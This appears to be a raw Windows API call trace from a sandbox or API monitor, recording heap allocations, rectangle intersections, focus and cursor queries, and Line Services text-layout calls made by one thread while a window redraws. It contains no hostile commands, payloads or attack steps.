[0103.419] IntersectRect (in: lprcDst=0x1cf2a8, lprcSrc1=0x1cf2a8, lprcSrc2=0x1cf210 | out: lprcDst=0x1cf2a8) returned 1
[0103.419] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.419] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.419] IntersectRect (in: lprcDst=0x1cf210, lprcSrc1=0x1cf210, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf210) returned 1
[0103.419] IntersectRect (in: lprcDst=0x1cf2a8, lprcSrc1=0x1cf2a8, lprcSrc2=0x1cf210 | out: lprcDst=0x1cf2a8) returned 1
[0103.419] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.419] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.419] UnionRect (in: lprcDst=0x1cf6a8, lprcSrc1=0x1cf6a8, lprcSrc2=0x1cf654 | out: lprcDst=0x1cf6a8) returned 1
[0103.419] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x4b6978
[0103.419] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6978 | out: hHeap=0x450000) returned 1
[0103.419] RedrawWindow (hWnd=0x1013a, lprcUpdate=0x1cf728, hrgnUpdate=0x0, flags=0x21) returned 1
[0103.419] GetFocus () returned 0x1013a
[0103.419] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd840
[0103.419] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4) returned 0x4bd830
[0103.419] GetFocus () returned 0x1013a
[0103.419] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3d0 | out: lpPoint=0x1cf3d0) returned 1
[0103.420] GetCapture () returned 0x0
[0103.420] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x4b6978
[0103.420] GetCurrentThreadId () returned 0x4e0
[0103.420] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2c98 | out: hHeap=0x450000) returned 1
[0103.420] GetCurrentThreadId () returned 0x4e0
[0103.420] GetCurrentThreadId () returned 0x4e0
[0103.420] GetFocus () returned 0x1013a
[0103.420] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3d0 | out: lpPoint=0x1cf3d0) returned 1
[0103.421] GetCurrentThreadId () returned 0x4e0
[0103.421] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2c98 | out: hHeap=0x450000) returned 1
[0103.421] GetCurrentThreadId () returned 0x4e0
[0103.421] GetCurrentThreadId () returned 0x4e0
[0103.421] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2c98
[0103.421] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498860
[0103.421] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3d0 | out: lpPoint=0x1cf3d0) returned 1
[0103.421] GetCapture () returned 0x0
[0103.421] GetCurrentThreadId () returned 0x4e0
[0103.421] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.421] GetCurrentThreadId () returned 0x4e0
[0103.421] GetCurrentThreadId () returned 0x4e0
[0103.421] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3d0 | out: lpPoint=0x1cf3d0) returned 1
[0103.422] GetCapture () returned 0x0
[0103.422] GetCurrentThreadId () returned 0x4e0
[0103.422] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.422] GetCurrentThreadId () returned 0x4e0
[0103.422] GetCurrentThreadId () returned 0x4e0
[0103.423] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3d0 | out: lpPoint=0x1cf3d0) returned 1
[0103.423] GetCurrentThreadId () returned 0x4e0
[0103.423] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.423] GetCurrentThreadId () returned 0x4e0
[0103.423] GetCurrentThreadId () returned 0x4e0
[0103.423] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3d0 | out: lpPoint=0x1cf3d0) returned 1
[0103.424] GetCurrentThreadId () returned 0x4e0
[0103.424] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.424] GetCurrentThreadId () returned 0x4e0
[0103.424] GetCurrentThreadId () returned 0x4e0
[0103.424] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x48b598, Size=0x1f8) returned 0x505340
[0103.424] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6948 | out: hHeap=0x450000) returned 1
[0103.424] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd840 | out: hHeap=0x450000) returned 1
[0103.424] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6978 | out: hHeap=0x450000) returned 1
[0103.424] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x450000) returned 1
[0103.424] GetCurrentThreadId () returned 0x4e0
[0103.424] GetFocus () returned 0x1013a
[0103.424] GetFocus () returned 0x1013a
[0103.425] IntersectRect (in: lprcDst=0x1cf5f0, lprcSrc1=0x1cf5f0, lprcSrc2=0x1cf678 | out: lprcDst=0x1cf5f0) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf688, lprcSrc1=0x1cf688, lprcSrc2=0x1cf5f0 | out: lprcDst=0x1cf688) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf6e0, lprcSrc1=0x1cf6e0, lprcSrc2=0x1cf678 | out: lprcDst=0x1cf6e0) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf5f0, lprcSrc1=0x1cf5f0, lprcSrc2=0x1cf678 | out: lprcDst=0x1cf5f0) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf688, lprcSrc1=0x1cf688, lprcSrc2=0x1cf5f0 | out: lprcDst=0x1cf688) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf6e0, lprcSrc1=0x1cf6e0, lprcSrc2=0x1cf678 | out: lprcDst=0x1cf6e0) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf5f0, lprcSrc1=0x1cf5f0, lprcSrc2=0x1cf678 | out: lprcDst=0x1cf5f0) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf688, lprcSrc1=0x1cf688, lprcSrc2=0x1cf5f0 | out: lprcDst=0x1cf688) returned 1
[0103.425] IntersectRect (in: lprcDst=0x1cf6e0, lprcSrc1=0x1cf6e0, lprcSrc2=0x1cf678 | out: lprcDst=0x1cf6e0) returned 1
[0103.425] LoadStringW (in: hInstance=0x747c0000, uID=0x1fe9, lpBuffer=0x1cf390, cchBufferMax=512 | out: lpBuffer="Done") returned 0x4
[0103.425] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4972f0 | out: hHeap=0x450000) returned 1
[0103.425] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954d0 | out: hHeap=0x450000) returned 1
[0103.425] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf100 | out: lpPoint=0x1cf100) returned 1
[0103.425] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2cd0
[0103.426] GetCurrentThreadId () returned 0x4e0
[0103.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.426] GetCurrentThreadId () returned 0x4e0
[0103.426] GetFocus () returned 0x1013a
[0103.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.426] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf130 | out: lpPoint=0x1cf130) returned 1
[0103.426] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2cd0
[0103.427] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.427] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf118 | out: lpPoint=0x1cf118) returned 1
[0103.427] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2cd0
[0103.427] GetCurrentThreadId () returned 0x4e0
[0103.427] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.427] GetCurrentThreadId () returned 0x4e0
[0103.427] IsWinEventHookInstalled (event=0x8005) returned 0
[0103.427] GetCurrentThreadId () returned 0x4e0
[0103.427] GetCurrentThreadId () returned 0x4e0
[0103.427] GetCurrentThreadId () returned 0x4e0
[0103.427] GetCurrentThreadId () returned 0x4e0
[0103.430] LsSetDoc () returned 0x0
[0103.430] LsCreateLine () returned 0x0
[0103.430] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.430] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.430] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4ba8d0
[0103.431] IntersectRect (in: lprcDst=0x1cd7b0, lprcSrc1=0x1cd7b0, lprcSrc2=0x1cd838 | out: lprcDst=0x1cd7b0) returned 1
[0103.431] IntersectRect (in: lprcDst=0x1cd848, lprcSrc1=0x1cd848, lprcSrc2=0x1cd7b0 | out: lprcDst=0x1cd848) returned 1
[0103.431] IntersectRect (in: lprcDst=0x1cd8a0, lprcSrc1=0x1cd8a0, lprcSrc2=0x1cd838 | out: lprcDst=0x1cd8a0) returned 1
[0103.431] IntersectRect (in: lprcDst=0x1cd7b0, lprcSrc1=0x1cd7b0, lprcSrc2=0x1cd838 | out: lprcDst=0x1cd7b0) returned 1
[0103.431] IntersectRect (in: lprcDst=0x1cd848, lprcSrc1=0x1cd848, lprcSrc2=0x1cd7b0 | out: lprcDst=0x1cd848) returned 1
[0103.431] IntersectRect (in: lprcDst=0x1cd8a0, lprcSrc1=0x1cd8a0, lprcSrc2=0x1cd838 | out: lprcDst=0x1cd8a0) returned 1
[0103.431] LsdnFinishRegular () returned 0x0
[0103.431] LsQueryLineDup () returned 0x0
[0103.432] LsDestroyLine () returned 0x0
[0103.432] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.432] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4b68
[0103.433] LsGetRubyLsimethods () returned 0x0
[0103.433] LsGetTatenakayokoLsimethods () returned 0x0
[0103.433] LsGetHihLsimethods () returned 0x0
[0103.433] LsGetWarichuLsimethods () returned 0x0
[0103.433] LsGetReverseLsimethods () returned 0x0
[0103.433] LsCreateContext () returned 0x0
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x503268
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4972e0
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x5004d0
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x4b1998
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011e8
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x4c7d10
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503c60
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011c0
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501210
[0103.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501328
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501350
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x5007c0
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a05c8
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd830
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd840
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd820
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x48b598
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x4954a0
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x500bc8
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x500d00
[0103.434] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x500e18
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x501098
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x508e08
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x4622f0
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497c68
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x508fa0
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x509140
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x509210
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0103.435] LsSetModWidthPairs () returned 0x0
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x5093a8
[0103.435] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.435] IntersectRect (in: lprcDst=0x1ce1b0, lprcSrc1=0x1ce1b0, lprcSrc2=0x1ce148 | out: lprcDst=0x1ce1b0) returned 1
[0103.435] IntersectRect (in: lprcDst=0x1ce0c0, lprcSrc1=0x1ce0c0, lprcSrc2=0x1ce148 | out: lprcDst=0x1ce0c0) returned 1
[0103.435] IntersectRect (in: lprcDst=0x1ce158, lprcSrc1=0x1ce158, lprcSrc2=0x1ce0c0 | out: lprcDst=0x1ce158) returned 1
[0103.435] IntersectRect (in: lprcDst=0x1ce1b0, lprcSrc1=0x1ce1b0, lprcSrc2=0x1ce148 | out: lprcDst=0x1ce1b0) returned 0
[0103.435] IntersectRect (in: lprcDst=0x1ce110, lprcSrc1=0x1ce110, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce110) returned 1
[0103.435] IntersectRect (in: lprcDst=0x1ce1a8, lprcSrc1=0x1ce1a8, lprcSrc2=0x1ce110 | out: lprcDst=0x1ce1a8) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce200, lprcSrc1=0x1ce200, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce200) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce110, lprcSrc1=0x1ce110, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce110) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce1a8, lprcSrc1=0x1ce1a8, lprcSrc2=0x1ce110 | out: lprcDst=0x1ce1a8) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce200, lprcSrc1=0x1ce200, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce200) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce110, lprcSrc1=0x1ce110, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce110) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce1a8, lprcSrc1=0x1ce1a8, lprcSrc2=0x1ce110 | out: lprcDst=0x1ce1a8) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce200, lprcSrc1=0x1ce200, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce200) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce110, lprcSrc1=0x1ce110, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce110) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce1a8, lprcSrc1=0x1ce1a8, lprcSrc2=0x1ce110 | out: lprcDst=0x1ce1a8) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce200, lprcSrc1=0x1ce200, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce200) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce110, lprcSrc1=0x1ce110, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce110) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce1a8, lprcSrc1=0x1ce1a8, lprcSrc2=0x1ce110 | out: lprcDst=0x1ce1a8) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce200, lprcSrc1=0x1ce200, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce200) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce110, lprcSrc1=0x1ce110, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce110) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce1a8, lprcSrc1=0x1ce1a8, lprcSrc2=0x1ce110 | out: lprcDst=0x1ce1a8) returned 1
[0103.436] IntersectRect (in: lprcDst=0x1ce200, lprcSrc1=0x1ce200, lprcSrc2=0x1ce198 | out: lprcDst=0x1ce200) returned 1
[0103.436] LsDestroyContext () returned 0x0
[0103.436] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4972e0 | out: hHeap=0x450000) returned 1
[0103.436] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6948 | out: hHeap=0x450000) returned 1
[0103.436] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5004d0 | out: hHeap=0x450000) returned 1
[0103.436] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0103.436] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b1998 | out: hHeap=0x450000) returned 1
[0103.436] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011e8 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c7d10 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503c60 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501210 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011c0 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501328 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501350 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5007c0 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a05c8 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd840 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd820 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500bc8 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500d00 | out: hHeap=0x450000) returned 1
[0103.437] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501098 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e08 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4622f0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5093a8 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508fa0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509140 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509210 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c68 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500e18 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503268 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.438] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.439] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.439] IntersectRect (in: lprcDst=0x1ce9c0, lprcSrc1=0x1ce9c0, lprcSrc2=0x1cea48 | out: lprcDst=0x1ce9c0) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cea58, lprcSrc1=0x1cea58, lprcSrc2=0x1ce9c0 | out: lprcDst=0x1cea58) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1ceab0, lprcSrc1=0x1ceab0, lprcSrc2=0x1cea48 | out: lprcDst=0x1ceab0) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1ce9c0, lprcSrc1=0x1ce9c0, lprcSrc2=0x1cea48 | out: lprcDst=0x1ce9c0) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cea58, lprcSrc1=0x1cea58, lprcSrc2=0x1ce9c0 | out: lprcDst=0x1cea58) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1ceab0, lprcSrc1=0x1ceab0, lprcSrc2=0x1cea48 | out: lprcDst=0x1ceab0) returned 1
[0103.441] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.441] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc0) returned 0x4972e0
[0103.441] IntersectRect (in: lprcDst=0x1ceb98, lprcSrc1=0x1ceb98, lprcSrc2=0x1cec20 | out: lprcDst=0x1ceb98) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cec30, lprcSrc1=0x1cec30, lprcSrc2=0x1ceb98 | out: lprcDst=0x1cec30) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cec88, lprcSrc1=0x1cec88, lprcSrc2=0x1cec20 | out: lprcDst=0x1cec88) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1ceb98, lprcSrc1=0x1ceb98, lprcSrc2=0x1cec20 | out: lprcDst=0x1ceb98) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cec30, lprcSrc1=0x1cec30, lprcSrc2=0x1ceb98 | out: lprcDst=0x1cec30) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cec88, lprcSrc1=0x1cec88, lprcSrc2=0x1cec20 | out: lprcDst=0x1cec88) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cefc0, lprcSrc1=0x1cefc0, lprcSrc2=0x1cf048 | out: lprcDst=0x1cefc0) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cf058, lprcSrc1=0x1cf058, lprcSrc2=0x1cefc0 | out: lprcDst=0x1cf058) returned 1
[0103.441] IntersectRect (in: lprcDst=0x1cf0b0, lprcSrc1=0x1cf0b0, lprcSrc2=0x1cf048 | out: lprcDst=0x1cf0b0) returned 1
[0103.441] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.441] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4ba8d0 | out: hHeap=0x450000) returned 1
[0103.441] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.442] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.442] IntersectRect (in: lprcDst=0x1cf48c, lprcSrc1=0x1cf48c, lprcSrc2=0x1cf45c | out: lprcDst=0x1cf48c) returned 1
[0103.442] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf47c | out: lprcDst=0x499f50) returned 1
[0103.442] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf49c | out: lprcDst=0x499f50) returned 1
[0103.442] IntersectRect (in: lprcDst=0x1cf050, lprcSrc1=0x1cf050, lprcSrc2=0x1cf020 | out: lprcDst=0x1cf050) returned 1
[0103.442] IntersectRect (in: lprcDst=0x499fd8, lprcSrc1=0x499fd8, lprcSrc2=0x1cf040 | out: lprcDst=0x499fd8) returned 1
[0103.442] IntersectRect (in: lprcDst=0x1cf14c, lprcSrc1=0x1cf14c, lprcSrc2=0x1cf11c | out: lprcDst=0x1cf14c) returned 1
[0103.442] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf13c | out: lprcDst=0x499f50) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf15c | out: lprcDst=0x499f50) returned 1
[0103.443] IntersectRect (in: lprcDst=0x1ced60, lprcSrc1=0x1ced60, lprcSrc2=0x1cecf0 | out: lprcDst=0x1ced60) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499fd8, lprcSrc1=0x499fd8, lprcSrc2=0x1ced80 | out: lprcDst=0x499fd8) returned 1
[0103.443] IntersectRect (in: lprcDst=0x1cee5c, lprcSrc1=0x1cee5c, lprcSrc2=0x1ced9c | out: lprcDst=0x1cee5c) returned 1
